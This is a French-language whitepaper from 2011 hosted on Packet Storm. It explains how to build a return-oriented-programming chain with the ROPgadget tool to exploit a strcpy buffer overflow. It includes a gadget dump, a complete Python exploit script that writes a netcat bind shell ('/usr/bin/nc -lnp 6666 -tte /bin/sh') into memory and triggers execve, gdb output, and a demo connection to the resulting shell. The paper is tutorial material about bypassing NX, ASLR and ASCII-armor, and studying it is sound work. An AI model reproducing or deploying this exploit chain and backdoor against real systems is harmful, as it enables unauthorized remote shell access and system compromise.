what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

How To Make A Backdoor With Return Oriented Programming

How To Make A Backdoor With Return Oriented Programming
Posted Apr 13, 2011
Authored by Jonathan Salwan

Whitepaper discussing how to make a backdoor with return oriented programming and ROPgadget. Written in French.

tags | paper
SHA-256 | 359f35beea9bb5e9dd45e28409ccda1fe40ca5f1e3ecfdbb92abacf00fc0bf60

How To Make A Backdoor With Return Oriented Programming

Change Mirror Download
 Title:    How to make backdoor with Return Oriented Programming & ROPgadget tool ?
Language: French
Author: Jonathan Salwan
Date 2011-04-13




I - Introduction
-----------------

Depuis quelques années, l'exploitation des failles applicatives, en particulier des déborde-
ments de tampons, est rendue de plus en plus difficile par les protections mises en place
par les systèmes d'exploitation.

En particulier, il est de plus en plus rare de pouvoir exécuter du code arbitraire sur la
pile. Il existe des techniques permettant de contourner NX mais ces dernières sont inutiles
si les fonctions de la libc sont protegées par l'ASCII-ARMOR.

Cependant, il existe une technique d'attaque qui permet de passer outre toutes ces
protections. Cette technique s'appelle le ROP (Return Oriented Programming).

Ce type d'attaque qui est extrêmement "lourde" à réaliser, consite à enchaîner des suites
d'instructions qu'on nomment "gadget" pour pouvoir modifier l'état des registres et exécuter
un appel système ou l'exécution d'une autre fonction.

Généralement, le ROP est utilisé pour faire appel à execve() mais ici, dans notre cas, nous
allons essayer de constituer un execve de ce type:



#include <stdio.h>
#include <unistd.h>

int main()
{
char *env[1] = {NULL};

char *arguments[7]= { "/usr/bin//nc",
"-lnp",
"6666",
"-tte",
"/bin//sh",
NULL
};
execve("/usr/bin/nc", arguments, env);
}



Tout d'abord, pour pouvoir reproduire l'appel system execve() nous devons connaître sa
convention.


On est sur un système Linux x86 32 bits:
----------------------------------------

jonathan@ArchLinux [/] $ cat /usr/include/asm/unistd_32.h | grep execve
#define __NR_execve 11
jonathan@ArchLinux [/] $

EAX = 11
EBX = "/usr/bin/nc" (char *)
ECX = arguments (char **)
EDX = env (char **)




II - Comment faire pour trouver des gadgets ?
---------------------------------------------

C'est ici que notre tool rentre en jeux. ROPgadget est un tool permettant de trouver des
gadgets potentiellement utilisables pour faire du ROP, vous pouvez aussi rajouter vos
propres gadgets.

ROPgadget est disponible à cette adresse http://www.shell-storm.org/project/ROPgadget/

Prenons comme exemple le fameux binaire que tout le monde utilise pour faire ses tests. Ici,
le binaire sera compilé en static pour pouvoir avoir un grande plage de gadgets.


#include <string.h>

int main(int argc, char **argv)
{
char buff[32];

if (argc >= 2)
strcpy(buff, argv[1]);

return (0);
}


Utilisons maintenant ROPgadget pour connaître les adresses de nos gadgets.


jonathan@ArchLinux [rop] $ ROPgadget -g main
Header informations
============================================================
phoff 0x00000034
shoff 0x0007de7c
phnum 0x00000005 (5)
shnum 0x0000001a (26)
phentsize 0x00000020
shstrndx 0x00000017
entry 0x08048130

LOAD vaddr 0x08048000
LOAD offset 0x00000000

Gadgets informations
============================================================
0x080481c7: pop %ebx | pop %ebp | ret
0x080481c8: pop %ebp | ret
0x08048224: call *%eax
0x0804847e: mov %ebp,%esp | pop %ebp | ret
0x0804868f: int $0x80
0x0804874b: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08049241: pop %ebx | pop %esi | pop %ebp | ret
0x0804a26b: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804b6a5: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804c7ab: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804d00e: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804dafd: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804f1e9: xor %eax,%eax | pop %ebx | ret
0x0804f70c: inc %eax | pop %edi | ret
0x080505b8: pop %esi | pop %ebx | pop %edx | ret
0x080505e0: pop %edx | pop %ecx | pop %ebx | ret
0x08056e94: xor %eax,%eax | leave | ret
0x08057dc0: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08057e91: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x080632a8: mov %ecx,(%ebx) | add $0x8,%esp | pop %ebx | pop %esi | pop %ebp | ret
0x080635d5: mov %ecx,(%edx) | add $0x8,%esp | pop %ebx | pop %ebp | ret
0x080636ef: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08064c51: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x08066a1d: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068f82: mov %eax,(%ecx) | pop %ebp | ret
0x08069cda: xor %eax,%eax | pop %edi | ret
0x08069d24: xor %eax,%eax | ret
0x08069fa6: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a8e7: mov %eax,%edi | mov %edi, %eax | pop %edi | pop %ebp | ret
0x0806ad27: inc %eax | pop %edi | pop %esi | ret
0x0806adcd: inc %eax | inc %eax | inc %eax | ret
0x0806adce: inc %eax | inc %eax | ret
0x0806adcf: inc %eax | ret
0x0806fd96: mov (%edx),%eax | mov (%esp), %ebx | mov %ebp,%esp | pop %ebp | ret
0x08079531: mov %eax,(%edx) | ret
0x08084c91: sub $0x1,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x080850b8: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x080850ba: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x080850c1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080a71ac: pop %ecx | pop %ebx | leave | ret

Total gadgets: 42/46
jonathan@ArchLinux [rop] $


Comme vous pouvez le remarquer, ces gadgets sont situés dans la section .text d'un binaire
ELF et donc ne sont pas influençables par l'ASLR ni NX.

Nous n'avons, bien sûr, pas besoin de tous ces gadgets, seulement 6 ou 7 nous seront utiles.

Nous aurons besoin de:

- @.data (l'@ de la section .data pour placer des données)
- int $0x80 (pour pouvoir exécuter notre payload)
- mov %eax,(%ecx) | pop %ebp | ret (pour placer eax dans un buffer)
- inc %eax | ret (pour incrémenter eax jusqu'à 11)
- pop %edx | pop %ecx | pop %ebx | ret (pour poper des adresses)
- pop %eax | pop %ebx | pop %esi | pop %edi | ret (ici juste le pop %eax nous sera utile)
- xor %eax,%eax | ret (pour mettre eax à zero)




III - Schéma d'exploitation et fonctionnement du ROP
----------------------------------------------------


Imaginons les gadgets suivants:
- xor %eax,%eax; ret 0x08041111
- inc %eax; ret 0x08042222
- pop %ebx; pop %ecx; ret 0x08043333


Avant le débordement de tampon
l'état de vos registres sont les
suivants: %eax 0xbfffff53
%ebx 0x080482a3
%ecx 0x13

L'objectif est de mettre l'état
des registres suivants: %eax 0x4
%ebx 0x41424344
%ecx 0x44434241


Votre payload est le suivant:

[NOP X size][SEBP][SEIP]

[0x90 xsize][0x41414141][0x08041111][0x08042222][0x08042222]
[0x08042222][0x08042222][0x08043333][0x41424344][0x44434241]



STACK
+---------+
0xbfffe51c: 0x08048d70 0xbfffe530 0xbfffe9a2 0x00000000
0xbfffe52c: 0x00000000 0x63756f74 0x616c2068 0x69767473

+------- Adresse de votre tableau (tab[0])
v
0xbfffe53c: 0x5f746973 0x90909020 0x90909090 0x90909090
0xbfffe54c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe55c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffe56c: 0x90909090 0x90909090 0x90909090 0x90909090

+----------+
| .text +
+----------+
+----------------------1--------------->|0x08041111| xor %eax,%eax
| +------------2---------------<|0x08041113| ret
| | |..........|
| | +---------------1--------->|0x08042222| inc %eax
| | | +-----2---------<|0x08042223| ret
| | | | |..........|
Saved ebp ----+ | | | |
v ^ v ^ v
0xbfffe57c: 0x90909090 0x08041111 0x08042222 0x08042222
0xbfffe58c: 0x08042222 0x08042222
+----------+
| .text +
+----------+
+--------------------------------------------1------>|0x08043333|
| +-------------------------------2------<|0x08043333| pop %ebx
| | +------------------3------<|0x08043334| pop %ecx
| | | +------4------<|0x08043335| ret
| P P | |..........|
| O O |
| P P |
| | | |
^ v v v
0xbfffe594: 0x08043333 0x41424344 0x44434241



Tout le schéma ci-dessus est un exemple à titre démonstratif.


Passons à l'exploit pour le binaire "main":


#!/usr/bin/env python2
from struct import pack

EDAX0 = pack("<I", 0x08050a88)
STACK = pack("<I", 0x080c6961) # .data 0x740 0x80c6620
INT80 = pack("<I", 0x0804868f) # int $0x80
MOVISTACK = pack("<I", 0x08068f82) # mov %eax,(%ecx) | pop %ebp | ret
INCEAX = pack("<I", 0x0806adcf) # inc %eax | ret
POPALL = pack("<I", 0x080505e0) # pop %edx | pop %ecx | pop %ebx | ret
POPEAX = pack("<I", 0x080850ba) # pop %eax | pop %ebx | pop %esi | pop %edi | ret
XOREAX = pack("<I", 0x08069d24) # xor %eax,%eax | ret
DUMMY = pack("<I", 0x42424242) # padding

buff = "\x42" * 32
buff += "BBBB"

buff += POPALL # c'est via %ecx qu'on va construire notre stack
buff += DUMMY # padding (pas d'importance)
buff += STACK # ecx contiendra l'@ de notre stack
buff += DUMMY # padding (pas d'importance)

buff += POPEAX # Permet de mettre du contenu dans une adresse
buff += "/usr" # on place "/usr" dans eax
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # place "/usr" à l'adresse de notre STACK
buff += DUMMY # padding (pas d'importance)

buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 4) # on change notre STACK pour pointer après "/usr"
buff += DUMMY # padding (pas d'importance)

buff += POPEAX # on applique la même chose pour "/bin"
buff += "/bin"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place "/bin" après "/usr"
buff += DUMMY # padding (pas d'importance)

buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 8) # on change notre STACK pour pointer après "/usr/bin"
buff += DUMMY # padding (pas d'importance)

buff += POPEAX # on applique la même chose pour "//nc"
buff += "//nc"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place "//nc" après "/usr/bin"
buff += DUMMY # padding (pas d'importance)

buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 13) # on change notre STACK pour pointer après "/usr/bin//nc"+1
# pour laisser un \0 entre les arguments
buff += DUMMY # padding (pas d'importance)

# on repète l'opération pour chaque argument
buff += POPEAX
buff += "-lnp"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 18)
buff += DUMMY

buff += POPEAX
buff += "6666"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 23)
buff += DUMMY

buff += POPEAX
buff += "-tte"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 28)
buff += DUMMY

buff += POPEAX
buff += "/bin"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 32)
buff += DUMMY

buff += POPEAX
buff += "//sh"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

#
# Nous avons actuellement notre liste d'élements séparés par des \0
# Maintenant il nous faut construire notre de char **
#
# 0x80c6961 <_IO_wide_data_1+1>: "/usr/bin//nc"
# 0x80c696e <_IO_wide_data_1+14>: "-lnp"
# 0x80c6973 <_IO_wide_data_1+19>: "6666"
# 0x80c6978 <_IO_wide_data_1+24>: "-tte"
# 0x80c697d <_IO_wide_data_1+29>: "/bin//sh"
# 0x80c6986 <_IO_wide_data_1+38>: ""
#

buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 60) # l'adresse de notre STACK
buff += DUMMY # padding (pas d'importance)

buff += POPEAX
buff += pack("<I", 0x080c6961) # l'@ de "/usr/bin//nc"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "/usr/bin//nc" sur notre STACK
buff += DUMMY # padding (pas d'importance)

buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 64) # on décale notre STACK de + 4 pour le pointeur du 2ème argument
buff += DUMMY # padding (pas d'importance)

buff += POPEAX
buff += pack("<I", 0x080c696e) # l'@ de "-lnp"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "-lnp" sur notre STACK
buff += DUMMY # padding (pas d'importance)

buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 68) # on décale notre STACK de + 4 pour le pointeur du 3ème argument
buff += DUMMY # padding (pas d'importance)

buff += POPEAX
buff += pack("<I", 0x080c6973) # l'@ de "6666"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "6666" sur notre STACK
buff += DUMMY # padding (pas d'importance)

buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 72) # on décale notre STACK de + 4 pour le pointeur du 4ème argument
buff += DUMMY # padding (pas d'importance)

buff += POPEAX
buff += pack("<I", 0x80c6978) # l'@ de "-tte"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "-tte" sur notre STACK
buff += DUMMY # padding (pas d'importance)

buff += POPALL
buff += DUMMY # padding (pas d'importance)
buff += pack("<I", 0x080c6961 + 76) # on décale notre STACK de + 4 pour le pointeur du 5ème argument
buff += DUMMY # padding (pas d'importance)

buff += POPEAX
buff += pack("<I", 0x80c697d) # l'@ de "/bin//sh"
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += DUMMY # padding (pas d'importance)
buff += MOVISTACK # on place l'@ de "/bin//sh" sur notre STACK
buff += DUMMY # padding (pas d'importance)

#
# Maintenant il nous faut mettre en place eax pour qu'il contienne
# l'adresse du syscall execve
# execve = 0xb
#

buff += XOREAX # on met eax à zero
buff += INCEAX * 11 # on l'incrémente 11 fois pour qu'il puisse avoir la valeur 0xb
buff += POPALL # on fait un dernier pop pour placer les adresses qu'on a construites
buff += pack("<I", 0x080c6961 + 48) # edx char *env
buff += pack("<I", 0x080c6961 + 60) # ecx char **arguments
buff += pack("<I", 0x080c6961) # ebx "/usr/bin//nc"
buff += INT80 # on exécute

print buff


Au moment de notre "int 0x80" notre stack et nos registres sont constitués comme ceci:

EAX: 0000000B EBX: 080C6961 ECX: 080C699D
EDX: 080C6991 ESI: 42424242 EDI: 42424242
EBP: 42424242 ESP: BFFFF82C EIP: 42424242


gdb$ x/6s $ebx
0x80c6961 <_IO_wide_data_1+1>: "/usr/bin//nc"
0x80c696e <_IO_wide_data_1+14>: "-lnp"
0x80c6973 <_IO_wide_data_1+19>: "6666"
0x80c6978 <_IO_wide_data_1+24>: "-tte"
0x80c697d <_IO_wide_data_1+29>: "/bin//sh"
0x80c6986 <_IO_wide_data_1+38>: ""


0x80c699d <_IO_wide_data_1+61>: 0x080c6961
0x80c69a1 <_IO_wide_data_1+65>: 0x080c696e
0x80c69a5 <_IO_wide_data_1+69>: 0x080c6973
0x80c69a9 <_IO_wide_data_1+73>: 0x080c6978
0x80c69ad <_IO_wide_data_1+77>: 0x080c697d
0x80c69b1 <_IO_wide_data_1+81>: 0x00000000


jonathan@ArchLinux [rop] $ ./main $(./exploit.py)
jonathan@ArchLinux [/] $ netcat 127.0.0.1 6666
ls
exploit.py
main
main.c



Et voila, l'exploit bypasse l'ASLR, NX et l'ASCII-ARMOR et attend une connexion.
Le ROP est extrêmement puissant et stable, mais comme vous avez pu le constater,
il est aussi assez lourd à mettre en place.



IV - Références
---------------

[x] - http://www.shell-storm.org

[1] - http://www.shell-storm.org/project/ROPgadget/

[2] - http://www.shell-storm.org/papers/files/725.pdf

Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close